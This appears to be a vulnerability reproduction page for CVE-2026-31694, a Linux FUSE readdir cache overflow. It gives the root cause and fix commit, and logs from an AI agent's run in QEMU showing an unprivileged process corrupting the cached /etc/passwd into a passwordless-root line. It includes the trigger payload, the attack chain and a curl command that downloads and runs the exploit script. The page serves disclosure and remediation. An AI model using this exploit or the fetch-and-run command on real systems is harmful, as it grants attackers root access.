Skip to content

CVE-2026-31694: Verified Reproduction

CVE-2026-31694: Linux kernel FUSE readdir cache out-of-bounds write

CVE-2026-31694 is verified against the affected target. Vulnerability class: Privilege Escalation. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00221.

REPRO-2026-00221 Privilege Escalation Jul 3, 2026 CVE entry .txt
Severity
HIGH
CVSS
7.8
Confidence
HIGH
Reproduced in
63m 5s
Tool calls
393
Spend
$18.52
01 · Overview

What Is CVE-2026-31694?

CVE-2026-31694 is a high-severity out-of-bounds write in the Linux kernel's FUSE readdir cache, in fs/fuse/readdir.c, that lets a malicious FUSE server overflow a page-cache page by 24 bytes. Pruva reproduced it (reproduction REPRO-2026-00221).

02 · Severity & CVSS

CVE-2026-31694 Severity & CVSS Score

CVE-2026-31694 is rated high severity, with a CVSS base score of 7.8 out of 10.

HIGH threat level
7.8 / 10 CVSS base

High — serious impact or readily exploitable. Prioritize remediation.

How to Reproduce CVE-2026-31694

$ pruva-verify REPRO-2026-00221
or curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00221/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for CVE-2026-31694

Privilege escalation — reproduced
  • reached the target end-to-end
  • full exploit chain demonstrated
  • on the real production code path
  • high confidence
  • the upstream fix blocks the same trigger
Trigger

malicious FUSE server READDIR reply with namelen=4095 and payload root::0:0:x:.:\n#######

Attack chain
  1. uid 1000 FUSE daemon
  2. getdents64
  3. fuse_readdir_uncached
  4. fuse_emit
  5. fuse_add_dirent_to_cache
  6. memcpy oversized dirent into readdir cache page
  7. /etc/passwd page-cache first line changed
Runnable proof: reproduction_steps.sh
Captured evidence: qemu fixed attempt1qemu fixed attempt2qemu lpe fixed attempt1qemu lpe fixed attempt2
How the agent worked 938 events · 393 tool calls · 1h 3m
1h 3mDuration
393Tool calls
250Reasoning steps
938Events
4Dead-ends
Agent activity over 1h 3m
Support
15
Hypothesis
2
Repro
697
Judge
106
Variant
113
0:0063:05

Root Cause and Exploit Chain for CVE-2026-31694

Versions: The issue is reachable after the FUSE name length increase to PATH_MAX - 1 / 4095, reported for Linux v6.16 through v7.0-rc and affected stable branches before the fix.

CVE-2026-31694 is an out-of-bounds write in the Linux kernel FUSE readdir cache. A malicious userspace FUSE daemon can return a FUSE_READDIR entry with a server-controlled namelen=4095; the kernel serializes this as a 4120-byte directory entry and copies it into a single 4096-byte readdir cache page. The missing reclen > PAGE_SIZE validation lets the final 24 bytes spill into the next physical page. In this run, the vulnerability was reproduced end-to-end in a QEMU guest using the real Linux kernel/FUSE code path, and the exploit chain was extended beyond KASAN-visible corruption: an unprivileged uid 1000 process changed the page-cache contents of a root-owned, read-only /etc/passwd file to a passwordless-root line. A fixed fuse.ko negative control rejected the oversized dirent and left /etc/passwd unchanged.

  • Package/component affected: Linux kernel FUSE subsystem, specifically fs/fuse/readdir.c in the readdir cache path (fuse_add_dirent_to_cache()).
  • Affected versions: The issue is reachable after the FUSE name length increase to PATH_MAX - 1 / 4095, reported for Linux v6.16 through v7.0-rc and affected stable branches before the fix.
  • Risk level and consequences: High. A local attacker able to run a malicious FUSE daemon can obtain a constrained but attacker-controlled 24-byte overwrite into an adjacent physical page. When groomed onto a page-cache page for a privileged file such as /etc/passwd, the primitive bypasses filesystem write permissions and can produce local privilege escalation semantics.

Impact Parity

  • Disclosed/claimed maximum impact: Unprivileged local privilege escalation via page-cache corruption of /etc/passwd.
  • Reproduced impact from this run: Full local privilege-escalation primitive. The script boots a non-sanitized kernel in QEMU, uses the real FUSE kernel path, drops the exploit process to uid/gid 1000 before attacker-controlled READDIR replies and target corruption, verifies direct writes to /etc/passwd fail with Read-only file system, then shows /etc/passwd page-cache contents changed from root:x:0:0:root:/root:/bin/sh to root::0:0:x:.:. Two vulnerable attempts succeeded, and two fixed negative-control attempts left /etc/passwd unchanged.
  • Parity: full.
  • Not demonstrated: The proof stops after demonstrating the root-level page-cache corruption effect. It does not spawn an interactive root shell, but the demonstrated primitive is the disclosed LPE mechanism: an unprivileged attacker changes the trusted cached contents of a root-owned passwd file to a passwordless-root entry without write permission.

Root Cause

fuse_add_dirent_to_cache() computes a serialized FUSE dirent size from a FUSE-server-controlled name length and copies that many bytes into a single page-cache page. The vulnerable logic only checks whether the record fits in the remaining space of the current page and, if not, advances to a fresh page with offset zero. It does not reject a record whose serialized length is larger than one page.

Conceptually, the vulnerable flow is:

size_t reclen = FUSE_DIRENT_SIZE(dirent);   // 4120 for namelen=4095
...
offset = size & ~PAGE_MASK;
if (offset + reclen > PAGE_SIZE) {
    index++;
    offset = 0;
}
...
memcpy(addr + offset, dirent, reclen);      // copies 4120 bytes into 4096-byte page

For namelen=4095, FUSE_DIRENT_ALIGN(24 + 4095) is 4120. At offset=0, the kernel still performs memcpy(..., 4120) into a 4096-byte page, spilling 24 bytes into the next physical page. The exploit controls those trailing bytes and uses page allocator grooming to place the first page of /etc/passwd in the adjacent page frame.

The fix is to reject oversized dirents before adding them to the readdir cache, e.g. by adding a guard equivalent to:

if (reclen > PAGE_SIZE)
    return;

The ticket identifies upstream fix commit 51a8de6c50bf947c8f534cd73da4c8f0a13e7bed (fuse: reject oversized dirents in page cache). The reproduction script builds the vulnerable module without this guard and the fixed module with this guard as the negative control.

Reproduction Steps

  1. Run bundle/repro/reproduction_steps.sh from the repository workspace, or run it with PRUVA_ROOT=/path/to/bundle.
  2. The script:
    • Reuses the prepared Linux source/build cache when available.
    • Builds a non-sanitized Linux kernel and vulnerable fuse.ko from the real source.
    • Builds a fixed fuse.ko with the reclen > PAGE_SIZE guard.
    • Builds bundle/repro/fuse_passwd_lpe from bundle/repro/fuse_passwd_lpe.c, a public-PoC-derived malicious FUSE daemon that speaks the real FUSE protocol.
    • Creates a small active ext4 root filesystem containing a root-owned, mode 0444 /etc/passwd.
    • Boots QEMU twice with the vulnerable module and twice with the fixed module.
    • In each guest, root performs only setup/module loading; the exploit drops to uid/gid 1000 before attacker-controlled FUSE replies and /etc/passwd targeting.
  3. Expected evidence:
    • Vulnerable attempts show PAGE_CACHE_CORRUPTION_CONFIRMED uid=1000 target=/etc/passwd, Direct write check as uid 1000: Read-only file system, and INIT_AFTER=root::0:0:x:.:.
    • Fixed attempts show INIT_RESULT_FIXED_REJECTED_OVERSIZED_DIRENT and INIT_AFTER=root:x:0:0:root:/root:/bin/sh with no page-cache-corruption confirmation.

Evidence

Primary current-run artifacts:

  • bundle/repro/reproduction_steps.sh — self-contained reproduction script.
  • bundle/repro/runtime_manifest.json — runtime evidence manifest written by the script.
  • bundle/repro/validation_verdict.json — structured verdict written by the script.
  • bundle/logs/reproduction_steps.log — consolidated build and proof log.
  • bundle/logs/qemu_lpe_vuln_attempt1.log
  • bundle/logs/qemu_lpe_vuln_attempt2.log
  • bundle/logs/qemu_lpe_fixed_attempt1.log
  • bundle/logs/qemu_lpe_fixed_attempt2.log
  • bundle/repro/fuse_passwd_lpe.c and bundle/repro/fuse_passwd_lpe — malicious FUSE daemon/helper used in the guest.
  • bundle/repro/fuse-nokasan-vuln.ko and bundle/repro/fuse-nokasan-fixed.ko — vulnerable and fixed FUSE modules used for comparison.

Key vulnerable evidence from the second verified run in bundle/logs/reproduction_steps.log:

Primary proof build is non-sanitized: CONFIG_KASAN is disabled
INIT_ROLE=vuln
INIT_KERNEL=6.18.18
INIT_ROOTFS_ACTIVE=/dev/vda
INIT_BEFORE=root:x:0:0:root:/root:/bin/sh
[+] Running exploit logic as uid=1000 gid=1000 target=/etc/passwd
[+] Direct write check as uid 1000: Read-only file system
[+] Warmup: 3/5 (60%)
[*] LPE 1/200 ... [+] CORRUPTED /etc/passwd first_line=root::0:0:x:.:
HIT!
[+] PAGE_CACHE_CORRUPTION_CONFIRMED uid=1000 target=/etc/passwd
INIT_EXPLOIT_RC=0
INIT_AFTER=root::0:0:x:.:
INIT_RESULT_PAGE_CACHE_LPE_CONFIRMED
VULNERABLE attempt 1: unprivileged page-cache corruption of /etc/passwd confirmed

The second vulnerable attempt produced the same successful markers:

INIT_ROLE=vuln
INIT_BEFORE=root:x:0:0:root:/root:/bin/sh
[+] Direct write check as uid 1000: Read-only file system
[+] PAGE_CACHE_CORRUPTION_CONFIRMED uid=1000 target=/etc/passwd
INIT_AFTER=root::0:0:x:.:
INIT_RESULT_PAGE_CACHE_LPE_CONFIRMED
VULNERABLE attempt 2: unprivileged page-cache corruption of /etc/passwd confirmed

Fixed negative-control evidence:

INIT_ROLE=fixed
INIT_BEFORE=root:x:0:0:root:/root:/bin/sh
[+] Running exploit logic as uid=1000 gid=1000 target=/etc/passwd
[+] Direct write check as uid 1000: Read-only file system
[+] Warmup: 0/5 (0%)
[-] No warmup hits.
INIT_EXPLOIT_RC=1
INIT_AFTER=root:x:0:0:root:/root:/bin/sh
INIT_RESULT_FIXED_REJECTED_OVERSIZED_DIRENT
FIXED attempt 1: oversized dirent failed closed; /etc/passwd unchanged

The second fixed attempt also failed closed and left /etc/passwd unchanged. The script summary was:

Vulnerable page-cache-corruption attempts: 2/2
Fixed negative-control attempts: 2/2
CVE-2026-31694 CONFIRMED: non-sanitized vulnerable kernel permits uid 1000 to corrupt the page-cache contents of root-owned read-only /etc/passwd; fixed module blocks it.

Recommendations / Next Steps

  • Apply the upstream fix that rejects dirents whose serialized length exceeds PAGE_SIZE before caching them.
  • Backport the reclen > PAGE_SIZE guard to all supported kernels that include the FUSE name length increase and have vulnerable readdir cache logic.
  • Add regression tests for FUSE READDIR replies with maximum name lengths, including records that exceed a page after alignment.
  • Consider hardening and auditing other page-cache or direct-map write paths where attacker-controlled data can cross a page boundary into an adjacent physical page.
  • Treat KASAN-only testing as insufficient for this exploit class: the primary exploit target is a page-cache page and the important observable impact is privileged file-content corruption in the kernel page cache.

Additional Notes

  • Idempotency confirmation: bundle/repro/reproduction_steps.sh was executed twice consecutively after the shell bug was fixed. Both runs exited 0 and produced the same 2/2 vulnerable and 2/2 fixed outcomes.
  • Primary proof mode: The proof is intentionally non-sanitized (CONFIG_KASAN disabled) and uses product/runtime kernel execution through QEMU and the real FUSE boundary.
  • Privilege boundary: The process opens /dev/fuse and mounts during privileged harness setup, then calls setresgid(1000,1000,1000) and setresuid(1000,1000,1000) before sending malicious FUSE READDIR replies and grooming /etc/passwd.
  • Scope: The proof demonstrates the disclosed LPE primitive by changing the trusted page-cache contents of root-owned /etc/passwd. It does not persist the change to disk or spawn an interactive root shell, to keep the run deterministic and self-contained.

CVE-2026-31694 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:001:21
0:00
session startedaccounts/fireworks/routers/glm-5p2-fast · CVE-2026-31694 · REPRO-20
0:03
0:05
web search
0:06
web search
0:08
web search
0:10
0:26
0:27
0:37
0:37
extract_facts
no facts extracted
0:38
0:38
0:38
supportrepro
0:52
0:54
0:54
0:54
0:55
0:55
0:55
0:58
0:58
1:04
1:04
$ls -la /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/.pruva/ 2>/dev/null; echo "---KERNELS---"; ls -la /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/kernels/ 2>/dev/null; ls -la /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/kernels/*/ 2>/dev/null; echo "---QEMU---"; which qemu-system-x86_64 2>/dev/null; echo "---REPRO---"; cat /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/repro.c
{"cwd":"/data/pruva/runs/faf1cf12-e2da-4977-9356-d1d6c2a36dfd","duration_ms":11,"exit_code":0,"stderr":"","stdout":"total 0\ndrwxr-xr-x 1 vscode vscode   22 Jul  2 21:46 .\ndrwxr-xr-x 1 vscode vscode 1370 Jul  3 10:05 ..\ndrwxr-xr-x 1 vscode vscode   60 Jul  3 13:05 proof-carry\n---KERNELS---\ntotal 0\ndrwxr-xr-x 1 vscode vscode   50 Jul  3 09:29 .\ndrwxr-xr-x 1 vscode vscode 1370 Jul  3 10:05 ..\ndrwxr-xr-x 1 vscode vscode  100 Jul  3 09:23 bond\ndrwxr-xr-x 1 vscode vscode  210 Jul  3 10:05 bond7rc2\ndrwxr-xr-x 1 vscode vscode  470 Jul  2 21:40 v7.0.10\ndrwxr-xr-x 1 vscode vscode  462 Jul  2 21:40 v7.0.9\n/data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/kernels/bond/:\ntotal 333696\ndrwxr-xr-x 1 vscode vscode       100 Jul  3 09:23 .\ndrwxr-xr-x 1 vscode vscode        50 Jul  3 09:29 ..\n-rw-r--r-- 1 vscode vscode       219 Jul  3 09:12 BUILT_MARKER\n-rw-r--r-- 1 vscode vscode  21840896 Jul  3 09:11 bzImage\n-rw-r--r-- 1 vscode vscode 208920576 Jul  3 09:11 fixed-rootfs.img\n-rw-r--r-- 1 vscode vscode 208969728 Jul  3 09:23 vuln-rootfs.img\n\n/data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/kernels/bond7rc2/:\ntotal 801532\ndrwxr-xr-x 1 vscode vscode   … [truncated]
1:04
1:10
1:10
$echo "=== linux-src version ==="; head -5 /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/linux-src/Makefile 2>/dev/null; echo "=== linux-src-7rc2 version ==="; head -5 /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/linux-src-7rc2/Makefile 2>/dev/null; echo "=== proof-carry ==="; find /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/.pruva/proof-carry -type f 2>/dev/null; echo "=== QEMU check ==="; which qemu-system-x86_64 2>/dev/null || echo "no qemu"; dpkg -l | grep -i qemu 2>/dev/null | head -5; echo "=== KVM ==="; ls -la /dev/kvm 2>/dev/null || echo "no /dev/kvm"
{"cwd":"/data/pruva/runs/faf1cf12-e2da-4977-9356-d1d6c2a36dfd","duration_ms":14,"exit_code":0,"stderr":"","stdout":"=== linux-src version ===\n# SPDX-License-Identifier: GPL-2.0\nVERSION = 6\nPATCHLEVEL = 18\nSUBLEVEL = 18\nEXTRAVERSION =\n=== linux-src-7rc2 version ===\n# SPDX-License-Identifier: GPL-2.0\nVERSION = 7\nPATCHLEVEL = 0\nSUBLEVEL = 0\nEXTRAVERSION = -rc2\n=== proof-carry ===\n/data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/.pruva/proof-carry/latest_confirmed/repro/reproduction_steps.sh\n/data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/.pruva/proof-carry/latest_confirmed/repro/runtime_manifest.json\n/data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/.pruva/proof-carry/latest_confirmed/repro/validation_verdict.json\n/data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/.pruva/proof-carry/latest_confirmed/repro/rca_report.md\n/data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/.pruva/proof-carry/latest_confirmed/logs/reproduction_steps.log\n/data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/.pruva/proof-carry/latest_confirmed/logs/qemu_var_vuln.log\n/data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-… [truncated]
1:10
$echo "=== FUSE readdir.c in linux-src ==="; cat /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/linux-src/fs/fuse/readdir.c 2>/dev/null | head -200; echo "=== FUSE_NAME_MAX in linux-src ==="; grep -rn "FUSE_NAME_MAX" /data/pruva/project-cache/6cba72b6-b104-4ebf-be7b-01f748e87ccf/linux-src/include/ 2>/dev/null | head -20
0.7s
{"cwd":"/data/pruva/runs/faf1cf12-e2da-4977-9356-d1d6c2a36dfd","duration_ms":684,"exit_code":0,"stderr":"","stdout":"=== FUSE readdir.c in linux-src ===\n/*\n  FUSE: Filesystem in Userspace\n  Copyright (C) 2001-2018  Miklos Szeredi <miklos@szeredi.hu>\n\n  This program can be distributed under the terms of the GNU GPL.\n  See the file COPYING.\n*/\n\n\n#include \"fuse_i.h\"\n#include <linux/iversion.h>\n#include <linux/posix_acl.h>\n#include <linux/pagemap.h>\n#include <linux/highmem.h>\n\nstatic bool fuse_use_readdirplus(struct inode *dir, struct dir_context *ctx)\n{\n\tstruct fuse_conn *fc = get_fuse_conn(dir);\n\tstruct fuse_inode *fi = get_fuse_inode(dir);\n\n\tif (!fc->do_readdirplus)\n\t\treturn false;\n\tif (!fc->readdirplus_auto)\n\t\treturn true;\n\tif (test_and_clear_bit(FUSE_I_ADVISE_RDPLUS, &fi->state))\n\t\treturn true;\n\tif (ctx->pos == 0)\n\t\treturn true;\n\treturn false;\n}\n\nstatic void fuse_add_dirent_to_cache(struct file *file,\n\t\t\t\t     struct fuse_dirent *dirent, loff_t pos)\n{\n\tstruct fuse_inode *fi = get_fuse_inode(file_inode(file));\n\tsize_t reclen = FUSE_DIRENT_SIZE(dirent);\n\tpgoff_t index;\n\tstruct page *page;\n\tloff_t size;\n\tu64 version;\… [truncated]
1:21

Artifacts and Evidence for CVE-2026-31694

Scripts, logs, diffs, and output captured during the reproduction.

08 · How to Fix

How to Fix CVE-2026-31694

Coming soon

Step-by-step mitigation and hardening guidance for CVE-2026-31694 — configuration checks, workarounds where no patch exists, and how to verify you're protected — is on the way.

10 · FAQ

FAQ: CVE-2026-31694

Does CVE-2026-31694 require remote access to exploit?

No. It requires local access to run a malicious FUSE daemon (i.e., mount a FUSE filesystem); it is a local privilege-escalation primitive, not a remotely triggerable vulnerability.

How severe is CVE-2026-31694?

It is rated high severity: a local attacker able to run a malicious FUSE daemon obtains a constrained but attacker-controlled 24-byte overwrite into an adjacent physical page, which can be groomed onto a privileged file's page-cache page for local privilege escalation.

How can I reproduce CVE-2026-31694?

Download the verified script from this page and run it in an isolated environment inside a QEMU guest running an affected kernel (reachable from v6.16 through v7.0-rc). Run a malicious FUSE daemon that returns a FUSE_READDIR entry with namelen=4095, groom the overflow onto the page-cache page backing /etc/passwd as an unprivileged uid 1000 process, and confirm a fixed fuse.ko rejects the oversized dirent and leaves the file unchanged.
11 · References

References for CVE-2026-31694

Authoritative sources for CVE-2026-31694 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.